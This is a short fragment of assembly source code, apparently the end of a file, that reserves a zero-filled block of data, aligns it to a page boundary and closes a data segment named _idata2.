;org 5BE000h dd 80h dup(0) align 1000h _idata2 ends end start